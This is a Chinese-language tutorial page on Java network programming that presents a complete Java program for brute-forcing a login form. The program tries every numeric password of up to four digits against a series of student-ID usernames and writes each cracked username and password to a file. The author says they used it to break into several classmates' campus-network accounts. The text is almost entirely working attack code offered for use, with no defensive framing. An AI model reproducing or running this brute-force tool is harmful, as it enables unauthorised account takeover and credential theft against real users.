歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
Linux教程網 >> Linux編程 >> Linux編程 >> Java網絡編程五:暴力法破解登錄系統的完全實現

Java網絡編程五:暴力法破解登錄系統的完全實現

日期:2017/3/1 10:56:04   编辑:Linux編程

注:以下破解思路及代碼源自我同學木子

1、先來看一個無任何安全措施的登錄系統的破解方法:每次模擬表單提交,若登錄成功,此時返回的報頭信息中有Location字段,登錄失敗無此字段,繼續模擬登錄。直到破解成功,本人成功破解部分同學校園網登錄密碼(純四位數字的)代碼如下:

  1. <span style="font-size:16px;">package demo.net;
  2. import java.io.IOException;
  3. import java.io.PrintWriter;
  4. import java.net.HttpURLConnection;
  5. import java.net.URL;
  6. import mine.util.io.TextFile;
  7. //暴力法破解簡單登錄系統:該系統無任何安全措施
  8. public class PostTest {
  9. String urlString = "登錄頁面的url";
  10. public PostTest() {
  11. }
  12. public PostTest(String urlString) {
  13. this.urlString = urlString;
  14. }
  15. // 提交一次用戶請求
  16. private boolean doPost(String user, String password) {
  17. boolean sucess = false;
  18. try {
  19. URL realUrl = new URL(urlString);
  20. HttpURLConnection conn = (HttpURLConnection) realUrl
  21. .openConnection();
  22. conn.setDoOutput(true);
  23. conn.setDoInput(true);
  24. conn.setInstanceFollowRedirects(false);
  25. // 提交表單,發送的數據是直接用Firebug截取的然後把用戶名,密碼部分換成參數
  26. PrintWriter out = new PrintWriter(conn.getOutputStream());
  27. out.print("要提交的表單信息");
  28. out.flush();
  29. // 如果登錄不成功,報頭中沒有Location字段,getHeaderField("Location") 返回null
  30. // 登錄成功,返回一個隨機的Location字段
  31. // System.out.println(conn.getHeaderFields());
  32. if (conn.getHeaderField("Location") != null) {
  33. sucess = true;
  34. }
  35. } catch (IOException e) {
  36. e.printStackTrace();
  37. }
  38. return sucess;
  39. }
  40. // 這是一個全排列算法, 對特定長度的密碼排列組合,把結果存入list
  41. // user:用戶名 , n:字符下標 , len:字符數組長度,也就是密碼長度
  42. private boolean createPassWord(String user, char[] str, int n, int len) {
  43. if (n == len) {
  44. String ps = new String(str);
  45. if (doPost(user, ps)) {
  46. // System.out.println("sucess:" + user + " : " + ps);
  47. TextFile.write("file/校園網用戶名及密碼.txt", true, "sucess:" + user
  48. + " : " + ps + "\n");
  49. return true;
  50. }
  51. return false;
  52. }
  53. for (int i = 0; i <= 9; i++) {
  54. str[n] = (char) (i + '0');
  55. if (createPassWord(user, str, n + 1, len))
  56. return true;
  57. }
  58. return false;
  59. }
  60. // 破解一個用戶的密碼
  61. public void test(String user) {
  62. for (int i = 0; i < 4; i++) {
  63. if (createPassWord(user, new char[i + 1], 0, i + 1))
  64. break;
  65. }
  66. }
  67. public static void main(String[] args) {
  68. PostTest pt = new PostTest();
  69. for (int i = 1; i <= 9; i++)
  70. pt.test("09050510" + i);
  71. for (int i = 10; i <= 31; i++)
  72. pt.test("0905051" + i);
  73. }
  74. }
  75. </span>

這個示例代碼中只破解密碼為4位或4位數字之內的密碼,大概破解一個用戶需要十分鐘。如果破解5、6...更長的密碼,破解時間將很長。

Copyright © Linux教程網 All Rights Reserved